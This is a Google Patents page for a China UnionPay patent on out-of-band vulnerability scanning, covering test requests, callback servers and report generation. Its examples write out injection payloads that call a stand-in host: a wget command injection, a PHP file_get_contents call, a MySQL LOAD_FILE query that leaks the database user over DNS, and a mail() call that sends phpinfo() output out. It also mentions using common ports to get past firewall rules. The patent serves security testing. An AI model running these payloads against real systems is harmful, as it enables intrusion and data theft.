CN110209583B - 安全测试方法、装置、系统、设备和存储介质 - Google Patents

安全测试方法、装置、系统、设备和存储介质 Download PDF

Info

Publication number
CN110209583B
CN110209583B CN201910477293.5A CN201910477293A CN110209583B CN 110209583 B CN110209583 B CN 110209583B CN 201910477293 A CN201910477293 A CN 201910477293A CN 110209583 B CN110209583 B CN 110209583B
Authority
CN
China
Prior art keywords
test
vulnerability
application
channel
tested
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Active
Application number
CN201910477293.5A
Other languages
English (en)
Other versions
CN110209583A (zh
Inventor
丁玲明
周恒磊
邓乐
孙会林
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
China Unionpay Co Ltd
Original Assignee
China Unionpay Co Ltd
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by China Unionpay Co Ltd filed Critical China Unionpay Co Ltd
Priority to CN201910477293.5A priority Critical patent/CN110209583B/zh
Publication of CN110209583A publication Critical patent/CN110209583A/zh
Application granted granted Critical
Publication of CN110209583B publication Critical patent/CN110209583B/zh
Active legal-status Critical Current
Anticipated expiration legal-status Critical

Links

Classifications

    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F11/00Error detection; Error correction; Monitoring
    • G06F11/36Preventing errors by testing or debugging software
    • G06F11/3604Software analysis for verifying properties of programs
    • G06F11/3612Software analysis for verifying properties of programs by runtime analysis
    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F11/00Error detection; Error correction; Monitoring
    • G06F11/36Preventing errors by testing or debugging software
    • G06F11/3668Software testing
    • G06F11/3672Test management
    • G06F11/3688Test management for test execution, e.g. scheduling of test suites

Landscapes

  • Engineering & Computer Science (AREA)
  • Theoretical Computer Science (AREA)
  • Computer Hardware Design (AREA)
  • Quality & Reliability (AREA)
  • Physics & Mathematics (AREA)
  • General Engineering & Computer Science (AREA)
  • General Physics & Mathematics (AREA)
  • Software Systems (AREA)
  • Computer And Data Communications (AREA)

Abstract

本发明公开了一种安全测试方法、装置、系统、设备和存储介质。该安全测试方法包括:测试端发送测试请求,测试请求用于请求被测应用执行漏洞测试命令时,通过第一通道向指定服务器发送通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道以外的数据传输通道;响应于接收到来自指定服务器的针对通信消息的处理信息,确定被测应用存在安全漏洞。根据本发明实施例提供的安全测试方法,判定被测应用是否存在安全漏洞,解决应用安全测试中的漏报问题。

Description

安全测试方法、装置、系统、设备和存储介质
技术领域
本发明涉及信息安全技术领域,尤其涉及一种安全测试方法、装置、系统、设备和存储介质。
背景技术
应用安全测试是应用系统在上线前进行测试工作的重要组成部分,通过应用安全测试发现应用系统存在的安全漏洞,从而帮助企业人员及时修复安全漏洞,保障投产到生产环境的应用系统能够安全稳定的运行。
现有技术中的应用安全测试,例如黑盒自动化测试,通常是在系统开发完成后搭建测试环境,并使用自动化测试工具模拟黑客攻击对应用系统发起带有漏洞特征的特定请求,应用系统收到特定请求,并按照漏洞测试逻辑执行相关动作后,返回执行的特定结果,自动化测试工具根据返回的特定内容判断是否系统应用是否存在安全漏洞。
实际应用中,应用系统收到特定请求并按照漏洞测试逻辑执行相关动作后,存在没有向自动化测试工具返回执行的特定结果,从而导致自动化测试工具判断应用系统不存在安全漏洞,产生安全测试的漏报问题。
发明内容
本发明实施例提供一种安全测试方法、装置、系统、设备和存储介质,可以判定被测应用是否存在安全漏洞,解决应用安全测试中的漏报问题。
根据本发明实施例的第一方面,提供一种安全测试方法,包括:
测试端发送测试请求,测试请求用于请求被测应用执行漏洞测试命令时,通过第一通道向指定服务器发送通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道以外的数据传输通道;响应于接收到来自指定服务器的针对通信消息的处理信息,确定被测应用存在安全漏洞。
根据本发明实施例的第二方面,提供一种安全测试装置,包括:
请求发送模块,用于测试端发送测试请求,测试请求用于请求被测应用执行漏洞测试命令时,通过第一通道向指定服务器发送通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道以外的数据传输通道;漏洞判定模块,用于响应于接收到来自指定服务器的针对通信消息的处理信息,确定被测应用存在安全漏洞。
根据本发明实施例的第三方面,提供一种安全测试设备,包括:存储器和处理器;该存储器用于存储程序;该处理器用于读取存储器中存储的可执行程序代码以执行上述的第一方面描述的安全测试方法。
根据本发明实施例的第四方面,提供一种安全测试方法,包括:
指定服务器通过第一通道接收来自被测应用的通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道以外的数据传输通道;针对接收的通信消息进行数据解析,得到通信消息的处理信息;发送通信消息的处理信息,以利用处理信息确定被测应用是否存在安全漏洞。
根据本发明实施例的第五方面,提供一种安全测试装置,包括:
消息接收模块,用于指定服务器通过第一通道接收来自被测应用的通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道以外的数据传输通道;数据解析模块,用于针对接收的通信消息进行数据解析,得到通信消息的处理信息;信息发送模块,用于发送通信消息的处理信息,以利用处理信息确定被测应用是否存在安全漏洞。
根据本发明实施例的第六方面,提供一种安全测试设备,包括:存储器和处理器;该存储器用于存储程序;该处理器用于读取存储器中存储的可执行程序代码以执行上述第四方面描述的安全测试方法。
根据本发明实施例的第七方面,提供一种安全测试方法,包括:
被测应用接收来自测试端的测试请求;执行测试请求中的漏洞测试命令,并通过第一通道向指定服务器发送通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道外的数据传输通道。
根据本发明实施例的第八方面,提供一种安全测试装置,包括:
请求接收模块,用于被测应用接收来自测试端的测试请求;命令执行模块,用于执行测试请求中的漏洞测试命令,并通过第一通道向指定服务器发送通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道外的数据传输通道;数据传输模块,用于通过被测应用的测试请求响应通道响应测试请求。
根据本发明实施例的第九方面,提供一种安全测试设备,包括:存储器和处理器;该存储器用于存储程序;该处理器用于读取存储器中存储的可执行程序代码以执行上述第七方面描述的安全测试方法。
根据本发明实施例的第十方面,提供了一种安全测试系统,包括:测试端和指定服务器;
测试端,用于发送测试请求,测试请求用于请求被测应用执行漏洞测试命令时,通过第一通道向指定服务器发送通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道以外的数据传输通道;指定服务器,用于通过第一通道接收来自被测应用的通信消息,针对通信消息进行数据解析,得到通信消息的处理信息,并发送通信消息的处理信息;测试端,还用于响应于接收到来自指定服务器的针对通信消息的处理信息,确定被测应用存在安全漏洞。
根据本发明实施例的第十一方面,提供了一种计算机可读存储介质,该计算机可读存储介质中存储有指令,当指令在计算机上运行时,使得计算机执行上述第一方面的安全测试方法。
根据本发明实施例的第十二方面,提供了一种计算机可读存储介质,该计算机可读存储介质中存储有指令,当指令在计算机上运行时,使得计算机执行上述第四方面的方法。
根据本发明实施例的第十三方面,提供了一种计算机可读存储介质,该计算机可读存储介质中存储有指令,当指令在计算机上运行时,使得计算机执行上述第七方面的方法。
根据本发明实施例中的安全测试方法、装置、系统、设备和存储介质。测试端发送测试请求至被测应用,如果被测应用存在特定漏洞,将执行测试命令并自动通过第一通道向指定服务器发送通信消息,如果指定服务器接收到通信消息,并向测试端进行反馈,则测试端可以确定被测应用存在该特定漏洞。也就是说,即使被测应用在响应测试请求时未向测试端返回与特定漏洞相关的特定结果,测试端也可以根据指定服务器的反馈,判定被测应用存在特定漏洞,从而避免漏洞误报,解决应用安全测试中的漏报问题。
附图说明
为了更清楚地说明本发明实施例的技术方案,下面将对本发明实施例中所需要使用的附图作简单地介绍,对于本领域普通技术人员来讲,在不付出创造性劳动的前提下,还可以根据这些附图获得其他的附图。
图1是示出根据本发明一个实施例的应用安全测试系统的架构示意图;
图2是示出根据本发明另一实施例的安全测试系统的架构示意图;
图3是示出根据本发明一个实施例的测试端工作流程示意图;
图4是示出接收带外服务器的测试结果的具体流程示意图;
图5是示出本发明实施例中判定被测应用的接口存在安全漏洞的具体流程示意图;
图6是示出根据本发明一个实施例的带外服务器的系统框架示意图;
图7是示出根据本发明一实施例的带外服务器接收被测应用通过带外通道发送的通信数据的流程示意图;
图8是示出根据本发明一实施例的对接收的通信消息进行处理的流程示意图;
图9是示出根据本发明一个实施例的发送通信消息的处理信息的流程示意图;
图10是示出根据本发明一实施例的安全测试方法的流程图;
图11是示出根据本发明另一实施例的安全测试方法的流程图;
图12是示出根据本发明再一实施例的安全测试方法的流程示意图;
图13是示出根据本发明一实施例的安全测试装置结构示意图;
图14是示出根据本发明一实施例的安全测试装置结构示意图;
图15是示出根据本发明一实施例的安全测试装置结构示意图;
图16是示出能够实现根据本发明实施例的安全测试方法和装置的计算设备的示例性硬件架构的结构图。
具体实施方式
下面将详细描述本发明的各个方面的特征和示例性实施例,为了使本发明的目的、技术方案及优点更加清楚明白,以下结合附图及实施例,对本发明进行进一步详细描述。应理解,此处所描述的具体实施例仅被配置为解释本发明,并不被配置为限定本发明。对于本领域技术人员来说,本发明可以在不需要这些具体细节中的一些细节的情况下实施。下面对实施例的描述仅仅是为了通过示出本发明的示例来提供对本发明更好的理解。
需要说明的是,在本文中,诸如第一和第二等之类的关系术语仅仅用来将一个实体或者操作与另一个实体或操作区分开来,而不一定要求或者暗示这些实体或操作之间存在任何这种实际的关系或者顺序。而且,术语“包括”、“包含”或者其任何其他变体意在涵盖非排他性的包含,从而使得包括一系列要素的过程、方法、物品或者设备不仅包括那些要素,而且还包括没有明确列出的其他要素,或者是还包括为这种过程、方法、物品或者设备所固有的要素。在没有更多限制的情况下,由语句“包括……”限定的要素,并不排除在包括所述要素的过程、方法、物品或者设备中还存在另外的相同要素。
在本发明实施例中,安全漏洞是指被测应用在硬件、软件、协议等实现逻辑或在系统安全策略上存在的缺陷。如果被测应用存在安全漏洞,攻击者在未授权的情况下可以访问、控制、修改或破坏被测应用。对被测应用使用前进行漏洞测试,可以保障被测应用在实际生产环境中的安全稳定运行。
下面首先通过图1介绍应用安全测试的基本原理。图1示出了本发明一个实施例的应用安全测试系统的架构示意图。
在一个实施例中,应用安全测试系统可以包括应用安全测试客户端,即测试端,以及被测试目标应用,即被测应用。
如图1中S11所示,测试端可以通过模拟黑客攻击,对被测应用发起带有特定测试命令的测试请求;被测应用收到测试请求,按照漏洞测试逻辑执行特定测试命令;并如图1中S12所示,在针对测试请求的测试响应中,向测试端发送执行特定测试命令得到的特定结果;测试端可以根据返回的特定结果判断被测应用是否存在漏洞。
本发明实施例中,被测应用可以包括网页服务器或网站服务器(Web server),网页服务器可以提供网络服务,包括但不限于例如邮件服务、文件传输服务、数据库服务、网页服务等。
在一个实施例中,被测应用对外开放的协议包括但不限于:超文本传输协议HTTP协议、超文本传输安全协议HTTPS协议、文件传输协议FTP协议或电子邮件协议等;被测应用对外开放的端口包括但不限于80端口、8080端口、25端口、443端口、53端口等。
在一个实施例中,通道即数据传输通道,可以理解为是为实现数据传输而建立的链接,被测应用与测试端之间的数据传输通道,可以是被测应用基于对外开放的协议或对外开放的端口建立的通道。
作为一个示例,被测应用可以使用对外开放的HTTP协议或HTTPS协议,在测试端和被测应用之间进行数据传输。HTTP协议和HTTPS协议的作用包括:建立测试端和被测应用端之间的数据传输通道,测试端通过该数据传输通道向被测应用发送测试请求,被测应用通过该数据传输通道返回测试响应。
实际进行安全测试时,如果被测应用未向测试端返回执行测试命令产生的特定结果,则会导致测试端判定被测应用不存在与该特定结果对应的漏洞,从而产生测试漏报情况。作为示例,被测应用由于实现的机制,未将漏洞特征直接体现在漏洞测试响应中,则针对被测应用的安全漏洞检测将会存在较大的漏报问题。
在本发明实施例的描述中,被测应用向测试端发送测试响应的通道可以称为带内通道,通过带内通道,测试端与被测应用进行带内数据通信和带内数据传输;被测应用的带内通道之外的数据传输通道可以称为带外(Out Of Band)通道,通过带外通道,被测应用可以与第三方服务器进行带外数据通信和带外数据传输。
本发明实施例提供一种基于带外通信的安全测试方法、装置、系统、设备和存储介质,用于发现安全测试过程中漏报的漏洞,实现对被测应用进行高效测试,提高被测应用的信息安全性。下面结合附图,详细描述根据本发明实施例的带外通信的安全测试方法、装置、系统、设备和存储介质。
图2示出了根据本发明另一实施例的安全测试系统的架构示意图。如图2所示,在一个实施例中,应用安全测试系统可以包括:测试端、被测目标应用以及第三方服务器。
如图2中步骤S21所示,图2与图1相比,不同之处在于,测试端向被测应用发起测试请求,该测试请求中的测试内容不仅包括:指示被测应用执行针对特定漏洞的测试命令,还包括:指示被测应用执行特定测试命令时,向第三方服务器发起建立链接的请求。
也就是说,测试端将检查被测应用是否存在特定漏洞的测试命令和向第三方服务器发起建立链接的通信消息进行组合,生成测试请求,并将测试请求发送至被测应用。
如图2中步骤S22所示,被测应用接收测试请求,如果存在该特定漏洞,被测应用在对测试请求进行解析后,会根据解析得到的测试请求的内容,执行针对特定漏洞的测试命令,并向第三方服务器发起建立链接的通信消息。
如图2中步骤S23所示,被测应用通过带内通道,响应测试端发送的测试请求。
作为一个示例,被测应用接收到一个HTTP请求(Request),会返回一个HTTP响应(Response)。测试端使用数据传输协议例如HTTP或者HTTPS协议,向被测应用发送测试请求时,根据使用的该数据传输协议的工作原理,被测应用无论是否存在安全漏洞,会使用该数据传输协议,通过带内通道响应该测试请求。
也就是说,在本发明实施例中,如果测试端接收到一条测试请求的响应消息时,表示该条测试请求已被执行完成,以此作为该条测试请求是否已被执行完成的判断条件。
在本发明实施例中,区别于被测应用发送测试响应消息的带内通道,被测应用的带外通道,是被测应用存在特定漏洞时,自动建立的与第三方服务器的数据传输通道。基于此,在下面实施例的描述中,该第三方服务器也可以被称为带外服务器(OOB Server)。
如图2中S24所示,带外服务器根据被测应用发起建立链接的请求,与被测应用建立链接,以接收来自被测应用的通信消息。
在该实施例中,带外服务器可以对接收的该通信消息中与特定漏洞对应的通信数据进行处理,得到处理信息,并向测试端发送与处理信息相关的反馈信息。
继续参考图2,如果测试端接收到来自带外服务器的反馈信息,可以判定被测应用存在该特定漏洞。
通过上述实施例的描述可知,本发明实施例的安全测试方法,如果被测应用存在特定漏洞,将执行测试命令并自动通过带外通道向带外服务器发送通信消息,如果带外服务器接收到通信消息,并向测试端进行反馈,则测试端可以确定被测应用存在该特定漏洞。由于带外通道为被测应用的测试响应通道外的数据传输通道,如果被测应用存在特定漏洞,即使在响应测试请求时,未返回与特定漏洞相关的特定结果,测试端也可以根据带外服务器的反馈,判定被测应用存在特定漏洞,从而避免漏洞误报,解决应用安全测试中的漏报问题。
下面结合附图3至附图5,详细描述根据本发明实施例的带外通信的安全测试方法的具体流程。
图3示出了根据本发明一个实施例的测试端工作流程示意图。如图3所示,在一个实施例中,测试端,即进行漏洞检测的漏洞扫描端的安全测试方法可以包括:
步骤S301,爬取目标应用的统一资源定位符URL链接和该URL链接的参数。
在该步骤中,通过爬虫技术,通过目标应用的URL链接,爬取目标应用的所有链接和所有链接中每个链接的参数。URL链接可以理解为目标应用的网页地址或网页链接。通常,目标应用的URL链接通常包括静态URL链接和动态URL链接,相比于静态URL链接,动态URL链接包含URL的参数(如下可以简称为URL参数)。
在一个实施例中,静态链接的URL通常对应一个单独的页面,用于访问一个静态存在的文件。作为示例,静态链接的URL通常以.HTML、.SHTML等格式的后缀结尾。
在一个实施例中,URL链接的参数是追加到URL链接上的名称/值对,URL参数可将用户提供的信息从目标应用的网页链接传递到目标应用服务器。作为示例,URL参数通常带有问号字符(?),并采用name=value的参数格式。如果目标应用的一个URL存在多个URL参数,则参数之间可以使用分隔符例如(&)以示分隔。作为另一示例,动态链接通常以ASP、PHP、JSP、ASP.net、Perl等格式的后缀结尾。
通过上述描述可知,在本发明实施例中,黑客攻击或计算机病毒更容易利用动态URL链接和URL参数,针对目标应用的安全漏洞向目标应用的服务器传递用户自定义的信息,向目标应用服务器发起控制、修改或破坏等漏洞攻击。因此,本发明实施例的安全测试方法,有针对性地对被测应用的动态URL链接和URL参数进行安全测试,解决安全漏洞的漏洞误报问题,保障投产到生产环境的应用系统安全稳定的运行。应理解,这些实施例并不是用来限制本发明公开的范围。
步骤S302,获取单个URL链接和该URL链接的参数。
在该步骤中,从爬取的目标应用的所有URL链接和URL参数中,选择单个待测URL链接和单个待测URL链接的参数,作为单个待测试应用接口。
步骤S303,生成测试用例集。
在该步骤中,针对被测应用的单个待测试应用接口,生成测试用例集。测试用例集中的每条测试用例包括:测试用例唯一标识码、带外服务器地址域名或地址、针对特定漏洞的漏洞测试命令。
在一个实施例中,漏洞测试命令,为针对被测应用进行漏洞检测或漏洞扫描时,模拟黑客或计算机病毒对被测应用执行的攻击命令。
在一个实施例中,漏洞测试命令包括测试有效负载PayLoad。测试PayLoad是实现漏洞攻击的关键部分。作为示例,测试PayLoad是漏洞扫描过程中起关键作用的关键攻击指令,或病毒代码中实现有害动作或者恶性动作的关键代码。
本发明实施例中的安全测试方法,只要是通过测试用例对被测应用的特定漏洞进行验证性测试(Proof of Concept,PoC),即验证特定漏洞是否存在的测试。
在一个实施例中,被测应用的特定漏洞包括但不限于:
注入漏洞、失效的身份认证、敏感数据泄露、可扩展标记语言外部实体注入(XMLExternal Entity Injection,XXE)漏洞、失效的访问控制、安全配置错误、跨站脚本执行、不安全的反序列化、使用含有已知漏洞的组件、以及不足的日志记录和监控等。
以注入漏洞为例,注入漏洞具体可以包括:结构化查询语言SQL注入例如关系型数据库mysql注入、非关系型数据库NoSQL注入、系统(Operating System,OS)命令注入和轻量级目录访问协议(Lightweight Directory Access Protocol,LDAP)注入。
以外部实体注入为例,外部实体注入漏洞具体可以包括:利用外部实体泄露内部文件、使用文件URL处理器、内部文件共享、内部端口扫描、远程代码执行、以及拒绝服务攻击等。
为了便于理解,以特定漏洞中的系统命令注入、远程代码执行、SQL注入等常见漏洞,描述测试用例所执行的验证性测试。其中,漏洞测试命令Payload与特定安全漏洞对应,可以根据特定安全漏洞生成。
作为一个示例,针对系统命令注入的测试用例的验证性测试包括:
“;wget http://oobserver.com/?Xz6Upd”。其中,oobserver.com为带外服务器的域名,问号后面的Xz6Upd为使用预定算法生成的唯一标识码,用于标识每一次测试请求的测试用例,分号表示命令执行漏洞时的命令分割符,wget表示执行的命令(即Payload)。该测试用例所执行的验证性测试为:
在该示例中,如果目标应用存在命令执行漏洞,被测目标处理该客户端请求时,执行wget命令,并主动发起http://oobserver.com/?Xz6Upd的HTTP请求。
作为一个示例,针对远程代码执行的测试用例的验证性测试包括:
“1;file_get_contents(‘https://oobserver.com/?bYcd8m’)”。其中,oobserver.com为带外服务器的域名,问号后面的bYcd8m为使用预定算法生成的唯一标识码,用于标识每一次测试请求的测试用例,1;表示命令执行漏洞时的命令分割符,file_get_contents表示执行的服务器端脚本语言php函数(即Payload)。
在该示例中,如果目标应用存在php远程代码执行漏洞,处理该测试端测试请求的测试用例时,被测目标执行file_get_contents函数,并主动发起https://oobserver.com/?bYcd8m的HTTP请求。
作为一个示例,针对MySQL注入执行的测试用例的验证性测试包括:
“SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.1JcsxdL.oobserver.com\\oob'))”其中,oobserver.com为带外服务器的域名,1JcsxdL为使用预定算法生成的唯一标识码,用于标识每一次测试请求的测试用例,SELECT LOAD_FILE表示执行的SQL语句(即Payload)。
在该示例中,如果目标应用存在MySQL注入漏洞,处理该客户端请求时,被测目标执行该SQL语句,并主动发起xxx.1JcsxdL.oobserver.com的DNS解析请求(xxx是MySQL数据库当前用户的16进制表示)。
在一个实施例中,带外通道是根据所述被测应用与所述指定服务器之间的允许访问端口,或根据允许访问端口使用的数据通讯协议建立的数据传输通道。作为一个示例,如果目标应用限制了HTTP协议(默认TCP80端口)、HTTPS协议(默认TCP443端口)或DNS协议(UDP53端口)的访问,则目标应用也可以使用其他协议或端口进行带外通信传递信息。
例如远程代码执行中,如果被测目标未开启80端口、443端口和53端口,则被测应用不能访问带外服务器的800端口、443端口和53端口。而如果被测目标开启25端口,带外服务器对应开启25端口,则被测应用可以访问带外服务器的25端口。
由此可见,漏洞测试命令,可以针对特定漏洞、带外通道使用的端口和带外通道使用的数据通讯协议生成的命令。
作为一个示例,对远程代码执行的测试用例的验证性测试包括:
Mail(‘aa@oobserver.com’,’bYcd8m’,phpinfo());其中,mail是执行的漏洞测试命令(payload),oobserver.com表示带外服务器,bYcd8m是根据预设特定算法生成的唯一标识码,用于标识每一次请求的测试用例。
在该示例中,如果被测应用存在php远程代码执行漏洞,处理该测试端测试请求的测试用例时,被测目标主动发送邮件到带外服务器。
步骤S304,执行安全测试用例集。
在该步骤中,将构造的测试用例集中的测试用例,分别组合到待测试应用接口中,得到针对待测试应用接口的每一条测试请求,将每一条测试请求分别发送至待测试应用接口,以在待测试应用接口执行安全测试用例集。
步骤S305,接收来自带外服务器的测试反馈。
在该步骤中,测试端通过监听本地端口,或者测试端提供应用程序编程接口(Application Programming Interface,API),接收来自带外服务器测试结果反馈。
在该步骤中,应用程序编程接口可以用于接受带外服务器的网络服务调用,例如测试端提供支持HTTP协议的API接口。
步骤S306,通过测试结果反馈,判定带外服务器是否接收到被测应用的带外传输数据。
步骤S307,分析带外服务器的测试结果反馈,如果带外服务器接收到通过带外通道传输的来自被测应用的通信数据,则可以判定被测应用存在安全漏洞。
在上述步骤S306中,分析带外服务器的测试结果反馈,如果带外服务器未接收到通过带外通道传输的来自被测应用的通信数据时,则重新获取新的单个链接及参数,通过上述步骤S303-S306,继续判定被测应用的该接口是否存在安全漏洞。
步骤S308,判定被测应用的每个接口是否均已测试结束。
在一个实施例中,根据上述实施例描述的测试请求是否已被执行完成的判断条件,如果测试端接收到针对被测目标的每个测试请求的响应消息,则可以确定针对被测应用的特定漏洞的每个测试请求均已执行完成,测试结束。
在一个实施例中,由于被测应用接收到一个HTTP请求(Request),会返回一个HTTP响应(Response),因此在判定测试是否结束时:如果测试端接收到针对被测目标的最后一条测试请求的响应消息,表示针对被测应用的特定漏洞的每个测试请求均已执行完成,测试结束。
步骤S309,生成测试报告。
在该步骤中,根据带外服务器反馈的测试结果,生成测试报告。
在本发明实施例中的安全测试方法中,测试端针对待测应用的接口生成测试用例,并将测试用例与接口组合,得到测试请求,发送测试请求至被测应用;测试端接收来自被测应用的网络传输协议的响应消息,该响应消息用于判断测试请求是否已执行完成;以及测试端接收来自带外服务器的反馈消息,根据该带外服务器的反馈消息判断待测应用是否存在测试用例中针对的特定安全漏洞,在上述安全测试方法中,测试端和带外服务器之间相互配合,共同对被测应用进行安全测试,解决应用安全测试中存在的漏报问题。
图4示出了本发明实施例中接收带外服务器的测试结果的具体流程示意图。如图4所示,在一个实施例中,接收带外服务器的测试结果的步骤具体可以包括:
步骤S401,测试端监听本地端口或提供API接口。
步骤S402,测试端记录来自带外服务器调用的API接口。
步骤S403,保存通过本地端口接收的通信消息,以及通过API接口接收的数据包。
在该步骤中,可以将接收的来自带外服务服务器的通信消息和数据包作为测试结果反馈,存入测试端连接的指定数据库。
在该实施例中,测试端通过监听本地端口和提供API接口,接收来自带外服务器的测试结果反馈,以对该测试结果反馈进行分析,确定被测应用是否存在安全漏洞,发现安全测试过程中漏报的漏洞。
图5示出了本发明实施例中判定被测应用的接口存在安全漏洞的具体流程示意图。如图5所示,在一个实施例中,判定被测应用的接口存在安全漏洞的步骤具体可以包括:
步骤S501,通过监听本地端口或提供API接口,接收来自带外服务器的测试结果反馈。
在该步骤中,该测试结果反馈中包括通信数据的处理信息。
步骤S502,提取通信数据的处理信息中的唯一标识码。
步骤S503,将提取的唯一标识码与测试用例集中的测试用唯一标志码比对。
步骤S504,如果比对成功,生成第一报警信息。
在该步骤中,比对成功表示测试用例集中,存在与该提取的唯一标识码相匹配的测试用例唯一标识码;第一报警信号用于指示被测应用存在已知漏洞类型的安全漏洞。
步骤S505,如果比对不成功,生成第二报警信息。
在该步骤中,比对不成功表示,比对结果为不存在相匹配的测试用例唯一标识码;第二报警信息用于指示被测应用存在未明确漏洞类型的安全漏洞。
步骤S506,比对成功时,确定被测应用的漏洞类型、级别、URL链接及URL参数等报告信息,比对不成功时,根据第二报警信息生成报告信息。
步骤S507,根据报告信息,生成测试报告。
在该步骤中,比对成功时,安全测试报告包括如下项中的至少一项:被测应用的特定漏洞的漏洞名称、漏洞类型、漏洞危险级别、存在特定漏洞的被测应用的待测试接;比对不成功时,安全测试报告包括根据第二报警信息生成的用于提示针对被测应用存在的安全漏洞,进一步确定漏洞类型的提示信息。
在该步骤中,可以根据相匹配的测试用例唯一标识码对应的测试用例所针对的特定漏洞,确定被测应用存在的特定漏洞的漏洞类型;以及根据测试用例唯一标识码对应的测试用例对应的测试请求,
在本发明实施例的安全测试方法中的应用端,应用端发送测试请求后,接收被测应用的测试响应,以及应用端接收来自带外服务器的测试结果反馈。如果被测应用存在漏洞,但未将漏洞特征直接体现在漏洞测试响应中,测试端也可以根据带外服务器的测试结果反馈信息,确定被测应用存在漏洞的接口和漏洞类型,从而解决安全漏洞的误报问题,实现对被测应用进行高效测试,提高被测应用的信息安全性。
图6示出了根据本发明一个实施例的带外服务器的系统框架示意图。如图6所示,带外服务器可以包括带外通信接收模块610、多个带外数据处理模块620、信息保存模块630和漏洞结果发送模块640。图6中的箭头用于指示通信数据的数据处理流向。
在一个实施例中,带外通信接收模块610,用于接收被测应用通过带外通道发送的通信数据。该带外通道,是根据被测应用与指定服务器之间的允许访问端口,或根据允许访问端口使用的数据通讯协议建立的数据传输通道。
由于在实际应用安全测试过程中,可能会出现带外服务器的网络访问规则,例如防火墙访问控制列表(Access Control List,ACL)规则拦截被测应用主动访问带外服务器的情况。为了让被测应用能与带外服务器进行带外数据交互,带外服务器可以预先设计常见的通信协议,作为带外传输通道绕过防火墙的ACL规则。
作为一个示例,这些协议包括但不限于常见的HTTP协议、HTTPS协议、域名解析(DomainNameSystem,DNS)协议、FTP协议、邮局协议版本3(Post Office Protocol-Version3”)等电子邮件协议、互联网控制报文协议(Internet Control Message Protocol,ICMP)协议等。
作为一个示例,这些协议的端口包括但不限于80端口、8080端口、25端口、443端口、53端口等。
在一个实施例中,根据带外通道使用的协议或端口,多个带外数据处理模块620(图中未示出)可以包括但不限于如下处理模块:ICMP带外处理模块621,DNS带外处理模块622,HTTP带外处理模块623,HTTPS带外处理模块624,FTP带外处理模块625,MAIL带外处理模块626,其他协议处理模块627。
具体地,ICMP带外处理模块,用于对带外通道通过ICMP协议接收的通信数据进行处理;DNS带外处理模块,用于对带外通道通过DNS协议接收的通信数据进行处理;HTTP带外处理模块,用于对带外通道通过HTTP协议接收的通信数据进行处理;HTTPS带外处理模块,用于对带外通道通过HTTPS协议接收的通信数据进行处理;HTTPS带外处理模块,用于对带外通道通过HTTPS协议接收的通信数据进行处理;MAIL带外处理模块,用于对带外通道通过电子邮件协议接收的通信数据进行处理;其他协议处理模块,用于对上述通信协议以外的网络传输协议接收的通信数据进行处理。
在一个实施例中,带外数据处理模块620中每个处理模块,可以对接收到的通信数据进行格式化处理,得到格式化的处理信息。
作为一个示例,带外服务器可以通过应用层协议如HTTP、DNS监听端口接受来自被测应用发起的通信请求,而网络层协议如ICMP则需要通过抓包手段获取来自被测应用的流量内容。
在一个实施例中,信息保存模块630可以保存多个带外数据处理模块620中每个处理模块的格式化的处理信息,并将处理结果保存到带外服务器连接的指定数据库。
在一个实施例中,漏洞结果发送模块640用于从带外服务器连接的指定数据库中获取通信数据的处理信息,构建结果返回参数,生成测试结果反馈信息,向测试端发送测试结果反馈信息。
作为一个示例,漏洞结果发送模块640从带外服务器连接的指定数据库中获取通信数据的处理信息,构建结果返回参数,生成测试结果反馈信息。通过使用测试端开放的端口,或者调用测试端的提供的API接口,将相关信息发送给测试端。
作为一个示例,该反馈信息例如:
http://testclient.com/getinfo.php?tid=x1L8ce&srcip=10.0.0.1&type=command&cmd=whoami&res=root&oobtype=http。其中,tid表示唯一标识码,可以与测试端生成的测试案例集中的唯一标识码对应,srcip表示带外服务器接收到的来源地址,即被测应用的地址,type表示测试的漏洞类型,cmd表示执行的命令,res表示获取到的结果,oobtype表示带外通信数据通道的协议类型。
下面结合图7至图9,描述本发明实施例中带外服务器的安全测试方法。图7示出了根据本发明一实施例的带外服务器接收被测应用通过带外通道发送的通信数据的流程示意图。
如图7所示,在一个实施例中,带外服务器接收被测应用通过带外通道发送的通信数据的步骤可以包括:
步骤S701,带外服务器监听常见端口。
在该步骤中,带外服务器可以根据待测应用对外开放的端口,设置开放服务器的本地端口,开放的服务器的本地端口包括但不限于与待测应用对外开放的端口相同的端口。
作为示例,带外服务器监听多个应用层通讯协议中每个应用层通讯协议的端口。例如监听应用层协议HTTP、DNS、TCP、UDP的端口,接收来自待测应用的带外通道的通信数据。
步骤S702,带外服务器捕获网卡流量。
在该步骤中,带外服务器可以使用应用层协议的带外通道接收的服务请求数据,通过数据抓包方式获取来自被测应用的带外通道的流量内容。
作为示例,带外通道使用网络层协议ICMP时,带外服务器可以通过网络层协议的带外通道抓取待测应用的流量数据。
步骤S703,如果接收到来自待测应用的通信数据或流量内容,对通信数据中的服务请求和抓取的流量数据进行解析。
步骤S704,针对接收的服务请求数据,响应该服务请求。
